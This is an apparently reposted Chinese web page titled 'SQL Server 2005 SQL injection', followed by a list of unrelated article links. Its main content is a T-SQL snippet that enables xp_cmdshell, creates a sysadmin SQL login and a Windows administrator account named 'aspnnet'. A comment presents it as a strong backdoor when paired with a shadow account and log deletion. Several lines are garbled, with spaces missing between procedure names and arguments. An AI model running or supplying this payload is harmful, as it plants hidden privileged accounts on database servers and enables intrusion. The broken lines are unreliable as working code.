SQL Server 2005 SQL 注入
来源:互联网 发布:好莱坞黄金时代知乎 编辑:程序博客网 时间:2024/05/18 13:25
--攻与防,矛与盾
--sql server 2005上测试成功的。再加上影子账户及删除日志。那就是很强的后门了。
--enabble xp_cmdshell
EXEC sys.sp_configure N'show advanced options',N'1'
go
EXEC sys.sp_configure N'xp_cmdshell', N'1'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options',N'0'
go
-- Unenable xp_cmdshell
EXEC sys.sp_configure N'show advanced options',N'1'
go
EXEC sys.sp_configure N'xp_cmdshell', N'0'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options',N'0'
go
exec master.dbo.sp_addloginaspnnet;--
exec master.dbo.sp_passwordnull,aspnnet,aspnnet;--
exec master.dbo.sp_addsrvrolememberaspnnet,sysadmin;--
exec master.dbo.xp_cmdshell 'net user aspnnet aspnnet/workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators aspnnet/add';--
- SQL Server 2005 SQL 注入
- SQL SERVER 2005 …
- SQL Server 2008 …
- SQL Server CROSS …
- SQL Server DATEDIFF() 函数
- SQL SERVER DMO 简介
- sql server 2008 -----001
- sql server 作业题
- SQL Server 2005安装图解
- SQL Server 2005移动数据文件
- [转]安装SQL Server 2005 Manageme…
- Configure MS SQL Server 2005 Rem…
- sql注入 与 预防
- SQL Server 2005 "sa"帐号被禁用 …
- sql server sysobjects&…
- SQL server 2012…
- MFC+SQL server 数据库…
- SQL Server 存储过程
- Oracle数据库归档模式的打开与关闭
- Unity3D for VR 学习(10): Unity LOD Group 组件
- .Linux 下使用 NMON&nbs…
- 1.简单工厂模式
- C# 从Http head获取文件名
- SQL Server 2005 SQL 注入
- MotionEvent的getX(),getY()与getRawX(),getRawY()区别
- 影子账户全面解析
- 常见Oracle HINT的用法
- Activity的四种启动模式
- SQL Server 2008中清除日志
- DecimalFormat 实现保留两位小数
- 清淡猪肚鸡做法
- 清除茶垢小窍门